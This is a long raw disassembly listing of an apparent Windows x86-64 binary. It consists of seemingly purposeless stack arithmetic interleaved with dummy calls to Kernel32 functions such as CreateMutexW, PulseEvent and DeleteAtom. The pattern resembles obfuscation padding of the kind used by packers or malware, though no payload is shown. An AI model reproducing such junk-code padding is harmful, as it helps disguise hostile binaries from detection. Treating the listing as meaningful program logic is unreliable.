mov ecx, dword [rsp + 0x20dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f04], eax
mov rax, qword [rsp + 0x5b40]
movzx eax, byte [rax]
movzx ecx, byte [0x14018acda]
shl eax, cl
mov rcx, qword [rsp + 0x67f0]
mov byte [rcx], al
lea rax, [rsp + 0x20a4]
mov qword [rsp + 0x6900], rax
mov rax, qword [rsp + 0x4f38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1a0]
sub eax, ecx
mov rcx, qword [rsp + 0x54f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4540]
mov rcx, qword [rsp + 0x4258]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x14018c368]
mov qword [rcx], rax
movsx eax, word [rsp + 0xd6c]
mov rcx, qword [rsp + 0x68d8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6028]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov word [rsp + 0xe6c], ax
mov rax, qword [rsp + 0x53e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc60]
sar eax, cl
mov word [rsp + 0xcf8], ax
lea rax, [rsp + 0x3320]
mov qword [rsp + 0x6908], rax
movsx eax, byte [rsp + 0x16c]
movsx ecx, byte [rsp + 0x167]
and eax, ecx
mov byte [rsp + 0x8f], al
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x21b0], eax
mov rax, qword [0x14018bde0]
mov ecx, dword [rsp + 0x1e34]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5b60]
mov dword [rcx], eax
lea rax, [rsp + 0x5c00]
mov qword [rsp + 0x6910], rax
movsx eax, word [rsp + 0xd20]
movsx ecx, word [rsp + 0xb48]
add eax, ecx
mov rcx, qword [rsp + 0x49f8]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
lea rax, [0x14018adb0]
mov qword [0x14018c490], rax
mov rax, qword [rsp + 0x5a80]
mov rcx, qword [rsp + 0x58f8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x2f58], rax
movzx eax, word [rsp + 0x9dc]
movzx ecx, word [rsp + 0x478]
and eax, ecx
mov rcx, qword [rsp + 0x4220]
mov word [rcx], ax
lea rax, [0x14018acda]
mov qword [rsp + 0x6918], rax
mov rax, qword [rsp + 0x40c8]
mov ecx, dword [rsp + 0x1f10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x21a0], eax
movsx eax, byte [rsp + 0x1b7]
movsx ecx, byte [0x14018acd9]
shl eax, cl
mov byte [rsp + 0x1d9], al
lea rax, [rsp + 0x20a0]
mov qword [rsp + 0x6920], rax
mov rax, qword [rsp + 0x4568]
mov rcx, qword [rsp + 0x3870]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x3580], rax
movzx ecx, word [rsp + 0xdcc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xdc0], ax
lea rax, [rsp + 0xd38]
mov qword [rsp + 0x6928], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movzx eax, word [rsp + 0xd60]
mov rcx, qword [rsp + 0x4ad8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x14018c320]
mov word [rcx], ax
mov rax, qword [rsp + 0x5ee0]
mov rcx, qword [rsp + 0x4300]
mov qword [rsp + 0x6930], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6930]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x4d78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fa0]
mov rcx, qword [0x14018c218]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x53d0]
mov qword [rcx], rax
lea rax, [rsp + 0xd2c]
mov qword [rsp + 0x6938], rax
mov rax, qword [rsp + 0x6170]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcc8]
add eax, ecx
mov rcx, qword [rsp + 0x6808]
mov word [rcx], ax
lea rax, [rsp + 0x5890]
mov qword [rsp + 0x6940], rax
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x218c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x20e4], eax
mov rax, qword [rsp + 0x4050]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4918]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5588]
mov byte [rcx], al
lea rax, [rsp + 0x65a0]
mov qword [rsp + 0x6948], rax
mov rax, qword [0x14018c1d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x548]
and eax, ecx
mov rcx, qword [0x14018c0b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x57c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
and eax, ecx
mov word [rsp + 0x3d8], ax
mov rax, qword [rsp + 0x4af0]
mov eax, dword [rax]
mov dword [rsp + 0x21b4], eax
mov rax, qword [rsp + 0x52a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x59b0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x48c0]
mov byte [rcx], al
mov rax, qword [rsp + 0x2ff8]
mov qword [rsp + 0x6950], rax
mov rax, qword [rsp + 0x4880]
mov rcx, qword [rsp + 0x5c00]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6138], rax
movsx eax, byte [rsp + 0x1b8]
movsx ecx, byte [rsp + 0x1ac]
and eax, ecx
mov rcx, qword [rsp + 0x62a8]
mov byte [rcx], al
lea rax, [rsp + 0x2124]
mov qword [rsp + 0x6958], rax
movsx eax, word [rsp + 0x81c]
movsx ecx, word [rsp + 0xd44]
xor eax, ecx
mov rcx, qword [rsp + 0x5888]
mov word [rcx], ax
lea rax, [rsp + 0x3d8]
mov qword [0x14018c498], rax
lea rax, [rsp + 0x3880]
mov qword [rsp + 0x6960], rax
movzx eax, word [rsp + 0x3dc]
movzx ecx, word [rsp + 0x844]
or eax, ecx
mov rcx, qword [rsp + 0x41b8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc1c]
mov rcx, qword [rsp + 0x6210]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x5340]
mov word [rcx], ax
lea rax, [rsp + 0x3510]
mov qword [rsp + 0x6968], rax
mov rax, qword [rsp + 0x58d0]
movsx eax, byte [rax]
movsx ecx, byte [0x14018bdc7]
sar eax, cl
mov byte [rsp + 0x1cb], al
lea rax, [rsp + 0x20ac]
mov qword [rsp + 0x6970], rax
mov rax, qword [rsp + 0x37b0]
mov rcx, qword [rsp + 0x5b68]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x56d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x97c]
add eax, ecx
mov rcx, qword [rsp + 0x5b30]
mov word [rcx], ax
mov rax, qword [rsp + 0x4b08]
mov rcx, qword [rsp + 0x4878]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14018be40]
mov qword [rcx], rax
lea rax, [rsp + 0x20fc]
mov qword [rsp + 0x6978], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x6980], rax
mov rax, qword [rsp + 0x4700]
movzx eax, byte [rax]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x190], al
lea rax, [rsp + 0xc5c]
mov qword [rsp + 0x6988], rax
mov rax, qword [rsp + 0x4a08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb78], ax
movsx eax, byte [rsp + 0x167]
movsx ecx, byte [rsp + 0x1b7]
and eax, ecx
mov rcx, qword [rsp + 0x4510]
mov byte [rcx], al
mov rax, qword [rsp + 0x47b8]
mov ecx, dword [rsp + 0x203c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1bd8], eax
mov rax, qword [0x14018ad68]
mov rcx, qword [rsp + 0x37b0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x52d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5340]
movzx eax, word [rax]
mov word [rsp + 0xe70], ax
mov rax, qword [rsp + 0x59d8]
movzx eax, word [rax]
mov word [0x14018c4a0], ax
mov rax, qword [rsp + 0x6440]
mov rcx, qword [rsp + 0x6390]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5020]
mov qword [rcx], rax
mov rax, qword [rsp + 0x2fc0]
mov rcx, qword [0x14018bec0]
mov qword [rsp + 0x6990], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6990]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x3318], rax
mov rax, qword [rsp + 0x6558]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x51e8]
sar rax, cl
mov rcx, qword [rsp + 0x56f0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56d0]
movsx eax, word [rax]
movsx ecx, word [0x14018c420]
add eax, ecx
mov rcx, qword [rsp + 0x4e08]
mov word [rcx], ax
lea rax, [rsp + 0x20c0]
mov qword [rsp + 0x6998], rax
movsx eax, byte [rsp + 0x1cb]
mov rcx, qword [rsp + 0x4750]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6610]
mov byte [rcx], al
mov rax, qword [rsp + 0x5098]
mov qword [rsp + 0x69a0], rax
movzx eax, byte [0x14018acda]
movzx ecx, byte [rsp + 0x1e1]
sub eax, ecx
mov rcx, qword [rsp + 0x5af8]
mov byte [rcx], al
mov eax, dword [rsp + 0x1b78]
mov ecx, dword [rsp + 0x1f10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2108], eax
mov rax, qword [rsp + 0x6210]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
and eax, ecx
mov rcx, qword [0x14018c3f8]
mov word [rcx], ax
lea rax, [rsp + 0xd80]
mov qword [rsp + 0x69a8], rax
mov rax, qword [rsp + 0x4370]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdc8]
sar eax, cl
mov rcx, qword [rsp + 0x3db8]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MapUserPhysicalPagesScatter]
lea rax, [rsp + 0x3900]
mov qword [rsp + 0x69b0], rax
mov rax, qword [rsp + 0x4708]
mov ecx, dword [rsp + 0x2158]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5398]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6168]
mov rcx, qword [rsp + 0x3640]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5780]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6890]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4050]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x19a], al
movsx eax, word [rsp + 0xe48]
movsx ecx, word [rsp + 0xd84]
shl eax, cl
mov word [rsp + 0x688], ax
lea rax, [rsp + 0x67c]
mov qword [rsp + 0x69b8], rax
lea rax, [rsp + 0x5bc8]
mov qword [0x14018c4a8], rax
mov rax, qword [rsp + 0x5960]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x55d8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4818]
mov word [rcx], ax
lea rax, [rsp + 0x39c8]
mov qword [rsp + 0x69c0], rax
mov rax, qword [rsp + 0x5da0]
mov rcx, qword [0x14018ada8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4740], rax
mov eax, dword [rsp + 0x2140]
movzx ecx, al
mov eax, dword [rsp + 0x20c8]
shr eax, cl
mov dword [rsp + 0x2034], eax
lea rax, [rsp + 0x3608]
mov qword [rsp + 0x69c8], rax
movzx ecx, word [rsp + 0xc80]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xc80], ax
mov rax, qword [rsp + 0x6630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2128]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5180]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6918]
movzx eax, byte [rax]
mov byte [rsp + 0x1f1], al
movsx eax, byte [rsp + 0x1b7]
movsx ecx, byte [rsp + 0x1b2]
and eax, ecx
mov byte [rsp + 0x10e], al
lea rax, [0x14018c080]
mov qword [0x14018c4b0], rax
movsx eax, word [rsp + 0xd04]
movsx ecx, word [rsp + 0xe00]
and eax, ecx
mov rcx, qword [rsp + 0x40d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x59d8]
movzx eax, word [rax]
mov word [rsp + 0xe74], ax
movzx eax, word [rsp + 0x3b4]
movzx ecx, word [0x14018acf8]
sub eax, ecx
mov rcx, qword [rsp + 0x69a8]
mov word [rcx], ax
lea rax, [rsp + 0x1b3c]
mov qword [rsp + 0x69d0], rax
mov rcx, qword [rsp + 0x63e8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x4900]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6438]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1bc], al
mov rax, qword [0x14018c448]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5098]
shr rax, cl
mov rcx, qword [rsp + 0x5190]
mov qword [rcx], rax
lea rax, [rsp + 0xda0]
mov qword [rsp + 0x69d8], rax
mov rax, qword [rsp + 0x4018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x618]
and eax, ecx
mov rcx, qword [rsp + 0x4ab8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5728]
mov rcx, qword [rsp + 0x5e38]
mov qword [rsp + 0x69e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x69e0]
mov rax, qword [rax]
shl rax, cl
mov qword [0x14018be30], rax
mov rax, qword [rsp + 0x52c0]
mov rcx, qword [rsp + 0x5388]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x38c8], rax
mov rax, qword [0x14018c400]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3a10]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x44c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6838]
mov rcx, qword [rsp + 0x4a78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5f88]
mov qword [rcx], rax
lea rax, [rsp + 0x404]
mov qword [rsp + 0x69e8], rax
mov rax, qword [rsp + 0x6158]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x58d8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [rsp + 0x4f68]
mov eax, dword [rax]
mov dword [rsp + 0x21b8], eax
movsx eax, byte [rsp + 0x1b5]
movsx ecx, byte [rsp + 0x152]
and eax, ecx
mov rcx, qword [rsp + 0x5b10]
mov byte [rcx], al
lea rax, [rsp + 0x1b18]
mov qword [rsp + 0x69f0], rax
mov rax, qword [0x14018c470]
mov rax, qword [rax]
mov qword [0x14018c4b8], rax
mov rax, qword [rsp + 0x4ef0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
sar eax, cl
mov rcx, qword [rsp + 0x5ad8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6750]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4640]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd24], ax
movzx eax, word [rsp + 0xd08]
movzx ecx, word [rsp + 0x67c]
sub eax, ecx
mov word [rsp + 0x600], ax
mov rax, qword [rsp + 0x65d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x59a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6330]
mov qword [rcx], rax
lea rax, [rsp + 0x1ac]
mov qword [rsp + 0x69f8], rax
mov rax, qword [rsp + 0x3220]
mov rcx, qword [rsp + 0x5890]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5e88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x20cc]
mov ecx, dword [rsp + 0x20a8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5fd8]
mov dword [rcx], eax
lea rax, [0x14018bfc0]
mov qword [rsp + 0x6a00], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x6a08], rax
mov rax, qword [rsp + 0x55d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x69e8]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x14018ad30], ax
mov rax, qword [rsp + 0x2ad0]
mov rcx, qword [rsp + 0x4b98]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x57d0]
mov qword [rcx], rax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0xe60]
mov qword [rsp + 0x6a10], rax
mov eax, dword [rsp + 0x2108]
mov rcx, qword [rsp + 0x5b78]
mov qword [rsp + 0x6a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a18]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4138]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [0x14018bdd0]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov byte [rcx], al
lea rax, [rsp + 0xaa]
mov qword [rsp + 0x6a20], rax
mov rcx, qword [rsp + 0x40a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2058], eax
mov rax, qword [rsp + 0x3b88]
mov rcx, qword [rsp + 0x5158]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6778]
mov qword [rcx], rax
lea rax, [rsp + 0x1b10]
mov qword [rsp + 0x6a28], rax
movsx eax, word [0x14018c074]
movsx ecx, word [rsp + 0xe20]
sub eax, ecx
mov word [rsp + 0x970], ax
lea rax, [rsp + 0xccc]
mov qword [0x14018c4c0], rax
mov rax, qword [rsp + 0x4c10]
mov rcx, qword [rsp + 0x5f10]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x48f0]
mov qword [rcx], rax
lea rax, [rsp + 0x4610]
mov qword [rsp + 0x6a30], rax
movsx eax, word [rsp + 0xdd4]
movsx ecx, word [rsp + 0xd38]
and eax, ecx
mov word [rsp + 0xac4], ax
mov rax, qword [rsp + 0x3e38]
movzx eax, word [rax]
mov word [rsp + 0xe78], ax
mov eax, dword [0x14018ad34]
movzx ecx, al
mov eax, dword [rsp + 0x2134]
shr eax, cl
mov rcx, qword [rsp + 0x4ae0]
mov dword [rcx], eax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x6a38], rax
mov rax, qword [rsp + 0x4b48]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x57e8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6380]
mov byte [rcx], al
mov rax, qword [0x14018c210]
mov rcx, qword [rsp + 0x65d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4a50]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6938]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4ce8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14018bed8]
mov word [rcx], ax
movzx eax, word [rsp + 0x8fc]
mov word [rsp + 0xe7c], ax
mov rax, qword [rsp + 0x4038]
mov ecx, dword [rsp + 0x1de0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x1b4]
movzx ecx, byte [rsp + 0x1c6]
cdq
idiv ecx
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x59a0]
mov rcx, qword [rsp + 0x4f28]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4c10]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x1b7]
mov rcx, qword [rsp + 0x4dd8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5f78]
mov byte [rcx], al
mov rax, qword [rsp + 0x6010]
mov qword [rsp + 0x6a40], rax
mov rax, qword [0x14018c2f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2170]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5350]
mov dword [rcx], eax
lea rax, [rsp + 0xe20]
mov qword [rsp + 0x6a48], rax
movzx eax, word [rsp + 0x83c]
mov rcx, qword [rsp + 0x4588]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14018c178]
mov word [rcx], ax
mov rax, qword [rsp + 0x45c0]
mov rcx, qword [0x14018c128]
mov qword [rsp + 0x6a50], rcx
movzx ecx, al
mov rax, qword [rsp + 0x6a50]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x57f8], rax
movzx eax, word [rsp + 0x8fc]
movzx ecx, word [rsp + 0xc9c]
sub eax, ecx
mov rcx, qword [rsp + 0x65e8]
mov word [rcx], ax
movsx eax, word [rsp + 0xc88]
mov rcx, qword [0x14018bf90]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x4f8], ax
mov rax, qword [rsp + 0x5328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b08]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4218]
mov qword [rcx], rax
lea rax, [rsp + 0x5890]
mov qword [rsp + 0x6a58], rax
movsx eax, byte [rsp + 0x10c]
mov rcx, qword [0x14018c200]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x16e], al
lea rax, [rsp + 0x1c58]
mov qword [rsp + 0x6a60], rax
mov rax, qword [rsp + 0x4b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe5c]
and eax, ecx
mov rcx, qword [rsp + 0x4b78]
mov word [rcx], ax
mov rax, qword [rsp + 0x50e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5798]
add rcx, rax
mov rax, rcx
mov qword [0x14018adc8], rax
mov rax, qword [rsp + 0x5948]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f10]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x46d0]
mov byte [rcx], al
lea rax, [rsp + 0x2064]
mov qword [rsp + 0x6a68], rax
movsx eax, word [rsp + 0xc1c]
movsx ecx, word [rsp + 0xe70]
shl eax, cl
mov word [rsp + 0xd2c], ax
lea rax, [rsp + 0x3d8]
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6520]
mov rcx, qword [rsp + 0x5c90]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x3dc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5b68]
mov rcx, qword [0x14018ada0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x68c8]
mov qword [rcx], rax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x6a78], rax
movsx eax, word [rsp + 0xd24]
movsx ecx, word [rsp + 0xc58]
sar eax, cl
mov word [rsp + 0xdb0], ax
mov rax, qword [0x14018bff8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd08]
add eax, ecx
mov rcx, qword [0x14018bf38]
mov word [rcx], ax
mov rax, qword [rsp + 0x2d28]
mov qword [rsp + 0x6a80], rax
movzx ecx, word [rsp + 0xcf4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x3250]
mov rcx, qword [rsp + 0x61a0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5020]
mov qword [rcx], rax
mov rax, qword [rsp + 0x3fd8]
mov rcx, qword [rsp + 0x4f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5f50], rax
mov edx, 0xcf3
mov rcx, qword [rsp + 0x4660]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x2078], eax
lea rax, [rsp + 0xca8]
mov qword [rsp + 0x6a88], rax
mov rax, qword [rsp + 0x5b10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x61c0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5f78]
mov byte [rcx], al
lea rax, [rsp + 0x1e00]
mov qword [rsp + 0x6a90], rax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4060]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5ec8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1ec]
movzx ecx, byte [0x14018acda]
sar eax, cl
mov byte [rsp + 0x14a], al
lea rax, [rsp + 0x1f20]
mov qword [rsp + 0x6a98], rax
lea rax, [rsp + 0xd20]
mov qword [0x14018c4c8], rax
movzx eax, word [rsp + 0xc54]
mov rcx, qword [rsp + 0x53c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4978]
mov word [rcx], ax
lea rax, [0x14018c410]
mov qword [rsp + 0x6aa0], rax
mov rax, qword [rsp + 0x4698]
mov rcx, qword [rsp + 0x3820]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6a30]
mov qword [rcx], rax
lea rax, [rsp + 0x4680]
mov qword [rsp + 0x6aa8], rax
mov rax, qword [rsp + 0x4e60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4340]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1b5], al
mov rax, qword [rsp + 0x4420]
mov rcx, qword [rsp + 0x60e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f58]
movzx eax, word [rax]
mov word [rsp + 0xe84], ax
mov rax, qword [rsp + 0x6170]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5f70]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4c90]
mov word [rcx], ax
mov rax, qword [rsp + 0x3880]
movzx ecx, al
mov rax, qword [rsp + 0x5590]
shl rax, cl
mov rcx, qword [0x14018c3b0]
mov qword [rcx], rax
lea rax, [rsp + 0xdec]
mov qword [rsp + 0x6ab0], rax
mov rax, qword [rsp + 0x4178]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4b98]
sar rax, cl
mov rcx, qword [rsp + 0x4830]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5720]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6480]
mov qword [rcx], rax
lea rax, [rsp + 0x5740]
mov qword [rsp + 0x6ab8], rax
mov rax, qword [rsp + 0x5bb0]
mov rcx, qword [rsp + 0x50e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5d48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4af0]
mov ecx, dword [rsp + 0x2028]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x1c54], eax
movzx eax, byte [rsp + 0x1ba]
mov rcx, qword [rsp + 0x4fe8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5068]
mov byte [rcx], al
movsx eax, byte [rsp + 0x18d]
mov rcx, qword [rsp + 0x3e88]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4dd8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b38]
movzx eax, word [rax]
mov word [0x14018c4d0], ax
lea rax, [rsp + 0xcdc]
mov qword [rsp + 0x6ac0], rax
movzx eax, word [0x14018c3c8]
movzx ecx, word [rsp + 0xcb0]
sar eax, cl
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
lea rax, [rsp + 0x9dc]
mov qword [rsp + 0x6ac8], rax
mov rax, qword [rsp + 0x6538]
mov rcx, qword [rsp + 0x68a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x3fc0], rax
mov rax, qword [rsp + 0x4008]
mov eax, dword [rax]
mov dword [rsp + 0x21bc], eax
movsx eax, byte [rsp + 0x14e]
mov rcx, qword [rsp + 0x5530]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f48]
mov byte [rcx], al
movsx eax, word [rsp + 0xd20]
movsx ecx, word [0x14018c030]
shl eax, cl
mov rcx, qword [rsp + 0x4ca0]
mov word [rcx], ax
lea rax, [rsp + 0xd90]
mov qword [rsp + 0x6ad0], rax
lea rax, [rsp + 0x5050]
mov qword [0x14018c4d8], rax
mov rax, qword [rsp + 0x6558]
mov rcx, qword [rsp + 0x67c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x2b98], rax
lea rax, [rsp + 0x5aa8]
mov qword [rsp + 0x6ad8], rax
mov rax, qword [rsp + 0x5288]
mov rcx, qword [rsp + 0x2c78]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x52e0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5bf0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa98]
